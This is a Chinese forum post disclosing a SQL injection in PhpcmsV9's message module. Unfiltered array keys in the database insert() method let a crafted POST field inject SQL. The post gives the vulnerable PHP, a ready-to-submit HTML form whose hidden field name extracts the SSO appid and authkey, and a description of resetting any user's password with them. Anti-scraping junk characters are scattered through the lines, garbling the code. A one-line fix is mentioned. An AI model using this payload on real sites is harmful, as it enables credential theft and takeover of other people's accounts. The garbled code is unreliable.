找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1965|回复: 0
打印 上一主题 下一主题

PhpcmsV9 SQL注射修改任意用户密码漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:10 | 显示全部楼层 回帖奖励 |倒序浏览 |阅读模式
简要描述:- E/ i. p- R: H! S
/ A# u3 k+ `7 [! D5 w) f4 X
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。
  A7 X! m+ f5 n) _* ]9 C: n6 z1 \
1 X0 S6 {3 b$ M; [( L- u, q+ }明天再更新下一个漏洞。; ~& A& M' X- ?% u0 g) A5 P. b9 K
详细说明:5 |( r/ E- Y  Q
在/phpcms9/phpcms/modules/message/index.php中有代码如下:
8 f4 g) l, u! i) g
: f' y" g' {) J/ d# X' _$messageid = $this->message_db->insert($_POST['info'],true);+ |, \6 Y0 n$ L3 _8 r2 @% m1 }
6 s: J( t8 g( ?
1 i# f! a8 J( k
insert方法是key value的,代码如下:
9 B# X" g/ m! m* r. c6 V2 [+ A0 T
public function insert($data, $table, $return_insert_id = false, $replace = false) {' K1 F: c# }+ r* N/ S
                if(!is_array( $data ) || $table == '' || count($data) == 0) {: J/ L( S$ q: D; S- r& y
                        return false;0 j% T2 {; U6 ^- e. A1 H! A0 r
                }% ?# X! B3 ]. [8 F
                9 l2 M  X" {; `, S6 B. N
                $fielddata = array_keys($data);1 n$ H- `  \5 f2 W4 q$ w- ]3 z
                $valuedata = array_values($data);& ?% w) ~5 m* m9 Z4 F' c% z4 K
                array_walk($fielddata, array($this, 'add_special_char'));3 _$ ^/ U# G8 V  B( `
                array_walk($valuedata, array($this, 'escape_string'));
# P4 ?1 O3 M3 c9 w2 K& E' D$ y                4 Y  a. n8 Y7 [; |( W
                $field = implode (',', $fielddata);" B) O- n) K  E) h
                $value = implode (',', $valuedata);0 x% q2 y8 @. {! T7 m& E

/ D6 v- p1 f2 {) ~' w- h                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
! m$ R, P' J. S) G                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
4 M3 B! \; x$ o. @" m9 ~" u                $return = $this->execute($sql);
0 O: W6 v! E% N+ T+ c) P                return $return_insert_id ? $this->insert_id() : $return;; I: o$ M! I4 O
        }) _( ^# B9 M8 e7 B! E5 `+ ?3 Y) J

) X5 m/ o. @6 T8 E3 D' p/ h: l+ G$ K! T1 ?; k4 T% a0 ^; e6 W
嗯,很遗憾的是
8 N+ K2 K* i4 H  f
/ Y) a8 U# \9 t  T& b) C" Barray_walk($fielddata, array($this, 'add_special_char'));
0 B- |/ t4 ~. h& T: ?3 `  L2 }9 C: n

  [0 k9 K/ H; v  p中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。9 ~) G) e2 j: V$ Z  q4 W! ^  P

. M! |7 N1 M( f- F) a到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。6 E+ X# D/ a: s

" W8 B4 x4 G2 B; e( h4 @3 m漏洞证明:
! s4 S( U+ ^$ ?2 t+ o6 w读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。8 _; {: h# R" [/ b$ m
# Q: Y* P+ L* m# E/ `5 k/ }( Z/ e

% C& u) w) c6 \, n( @* G' M" j3 e& m表单如下:用户名什么的得自己改一改。3 T' b6 r3 }7 G
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">4 T8 Z7 t) B. Z. y, h( }* d1 q! K
<table width="100%" cellspacing="0" class="table_form">5 e; V0 {! ?7 J5 z: f
<tr>
7 D( i7 Z6 @/ }! [, [<th>标 题:</th>1 _* C5 j6 e5 F
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>
& R, Y# n0 L6 P1 ^* Y" I% S9 H+ t: g</tr>
" e/ c) _1 [# t. ^0 n<tr>
; f( X7 {# \  Z% n: d1 u- x+ v7 ^<th>内 容:</th>7 }- C! c6 D7 N3 r- E3 a/ s' {- g
<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>
  O' O2 g' n1 [</tr>& K) C$ L& |/ S' m) N( ~' Q0 p' J" J
<input type="hidden" name="info[replyid]" value="2" />
7 J" l6 m  c, J$ d5 n; l6 |<input type="hidden" name="info[send_to_id]" value="cc" /> % `: J% x6 t0 P
<input type="hidden" name="info[send_from_id]" value="hh">
/ Z- w4 w7 u) _# \<!-- 漏洞的利用重点在这里开始 -->" r/ v$ N" |, z7 S
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" /> 7 [; V( V# r% o4 p
<!-- 漏洞的利用重点在这里结束 -->8 \6 \+ E, f& R
<tr>% T+ L+ N. z) b% I/ @5 E# l' L/ T/ d) {
<th>验证码:</th>
$ z% v: j) [% K5 a# f<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td># r: T3 Q$ s- G; g. o% D+ i
</tr>
# Z0 j) }# e' q" G6 j+ C0 g" M6 c0 \<tr>
5 X5 D2 \- b( I& h  y<td></td>
  M5 T/ I7 ?3 B! n, z$ W<td colspan="2"><label>* d0 O9 Y: a# B* w. Z. u
<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
  q& f2 |; `$ s$ N6 _, R0 E</label></td>
0 B# C/ S4 K: ]; @0 m</tr>
  q/ c3 B" m2 X</table>. X/ T0 a# J8 i( x. }3 H
</form>
. s1 D* m) R2 Y9 o! ^. N9 o在add_special_char函数内对key做过滤就可以了。
9 ]% j/ [5 B# v: m
9 J- C; f! J5 k# Z& J5 r9 ^; L9 |0 ?8 L
5 X0 ~9 V/ d7 F3 b$ ?' r* I. v% N

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表